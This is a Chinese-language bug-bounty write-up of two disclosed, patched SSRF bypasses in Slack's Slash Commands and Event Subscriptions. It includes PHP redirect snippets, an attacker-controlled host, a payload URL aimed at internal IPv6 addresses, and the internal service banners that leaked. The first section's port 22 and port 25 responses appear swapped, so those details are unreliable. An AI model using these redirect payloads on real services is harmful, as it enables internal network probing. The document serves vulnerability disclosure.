挖洞經驗 | 看我如何繞過Slack後端的SSRF防護機制
本文分享了一個存在於Slack介面api.slack.com中的缺陷，通過利用Slack內建的斜線命令（Slash Commands）功能，可以繞過Slack後端的SSRF防護措施，在Slack介面上形成兩個服務端請求偽造漏洞（SSRF）。
Slack是一個協同辦公應用平臺和聊天群組，它能將工作夥伴、溝通訊息和使用工具進行聚合以便高效完成工作。從世界百強大公司到小型企業，全球有數百萬人在使用Slack進行內部團隊溝通協調，協同辦公推動業務。
利用斜線命令（Slash Commands）繞過Slack的SSRF防護機制
漏洞分析
斜線命令/commands，為Slack中某些特定命令的快捷方式，在訊息欄位中輸入斜線加命令，點擊發送，即可完成一項命令操作。如/who為列出當前群組成員，/archive為對當前群組存檔，/collapse為對當前群組進行視訊圖片的摺疊顯示。預設情況下，工作群組內所有成員都可使用斜線命令，群組管理員也可對組內成員進行斜線命令的許可權設定。具體用法 點此 檢視。
早前在Hackerone上，看到了Nicolas Grégoire 提交的一個“ 繞過Slack SSRF 防護機制 ”的漏洞，報告中Nicolas Grégoire有以下分析：
特殊情況下，一些Slack功能組合，如“Integrations / Phabricator”，以及“Integration / Slash Commands”，允許使用者提交可由後端伺服器處理的URL連結。在這種功能場景中，Slack自身有一個黑名單來限定對如loopback, 10.0.0.0/8, 192.168.0.0/24等特殊內部資源的訪問，但是，可以使用“[::]”來作為某個Slack內部主機，對Slack後端伺服器發起請求。這種請求方式僅對一些支援IPv6且繫結服務埠的Slack伺服器有效。
在漏洞修復中，Nicolas Grégoire給出了在外部代理（Outgoing Proxy）和斜線命令中請求中禁用IPv6的建議。Slack也依此做了修復。
但是，這種修復過的SSRF防護機制，還是可以被繞過的。具體測試步驟如下：
1、登入 api.slack.com，在自己的slack服務中填寫你預設的斜線命令（Slash Commands）配置，其中Request URL填寫的請求網站 http://206.189.204.187/ ，為我自己控制的網站：
2、在這個我控制的206.189.204.187網站伺服器中，設定一個index.php訪問頁面，內容為包含一個‘Location’ 頭的重寫向，跳轉到一個新的地址http://[::]:22/。根據Nicolas Grégoire的漏洞，這個地址http://[::]:22/為Slack支援IPv6的內部主機。index.php：
<?php
header("location: http://[::]:22/");
?>
3、通過api.slack.com，訪問自己的slack服務 xxxx.slack.com，加入相應的斜線命令，該過程中通過請求 http://206.189.204.187/ 的操作，間接執行了對Slack內部伺服器22埠的請求-http://[::]:22/，結果如下：
4、在 http://206.189.204.187/ 的index.php訪問頁面加入http://[::]:25/後，由於Slack內部伺服器25埠是關閉的，所以結果如下：
也就是，如果Slack內部伺服器22埠是開放的，則會有以下響應：
Protocol mismatch.SMTP on TCP/25
如果Slack內部伺服器22埠是關閉的，則會有以下響應：
220 squid3.tinyspeck.com ESMTP Postfix221 2.7.0 Error: I can break rules, too. Goodbye.
漏洞影響
攻擊者利用這種SSRF漏洞，可以藉由服務端的功能特性，去讀取伺服器內部資源資訊，探測內部服務埠和版本情況。
漏洞上報程序
2018.7.13 漏洞初報 2018.7.13 漏洞分類 2019.1.23 Slack $500發放 2019.2.22 漏洞披露
在Slack的Event Subscriptions介面引數處繞過SSRF防護機制
漏洞分析
Slack的事件介面（Event API） https://api.slack.com/events-api ，可在各種時間發生時進行觸發呼叫，比如訊息傳送的時候、channels改變的時候等。當我們在建立一些私人定製化的Slack應用時，經常會用到Slack事件介面（Event API）。
配置Slack事件介面時，我們須在事件訂閱處（Event Subscriptions）設定一個Request URL用來作為事件的訂閱地址。設定好該地址後，當事件發生時，Slack會向該地址傳送HTTP POST請求，其中會包含事件驗證的”type”、”challenge”和”token”引數。
這裡，SSRF防護繞過漏洞就存在於此- https://api.slack.com/apps/YOUAPPCODE/event-subscriptions? ，當我們設定的訂閱地址URL不符合Slack API標準時，會返回以下響應訊息：
Your request URL gave us a 500 error. Update your URL to receive a new request and challenge value.
經過測試，我發現同樣用IPv6地址格式 [::] 同樣在此可以利用。比如，在我的管理網站中，設定一個x.php，內容如下：
<?php
header("location: ".$_GET['u']);
?>
我們構造一個URL地址： http://hacker.site/x.php/?u=http:// [::]:22/，URL編碼後為： http://hacker.site/x.php/?u=http://%5B::%5D:22/ ，把它填寫在訂閱地址的Request URL處，會有以下響應：
也就是說，這種請求Slack內部伺服器22埠，且埠開放的響應如下：
"body": {
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
Protocol mismatch.
}
如果Slack內部伺服器埠未開放（25），會有如下響應：
"body": {
220 squid-iad-ypfw.tinyspeck.com ESMTP Postfix
221 2.7.0 Error: I can break rules, too. Goodbye.
}
如果Slack內部伺服器埠不存在，會沒有任何響應：
漏洞影響
攻擊者利用這種SSRF漏洞，可以藉由服務端的功能特性，去讀取伺服器內部資源資訊，探測內部服務埠和版本情況。 漏洞上報後，Slack安全團隊認為我的漏洞是重複報，但我覺得他們搞錯了，最終Slack還是認為我的漏洞有效。
漏洞上報程序
2018.7.24 漏洞初報 被評為重複報 2018.9.2 漏洞驗證分類 有效報 2019.1.23 Slack發放$500賞金 2019.2.22 漏洞披露
*參考來源： medium ，clouds編譯，轉載請註明來自FreeBuf.COM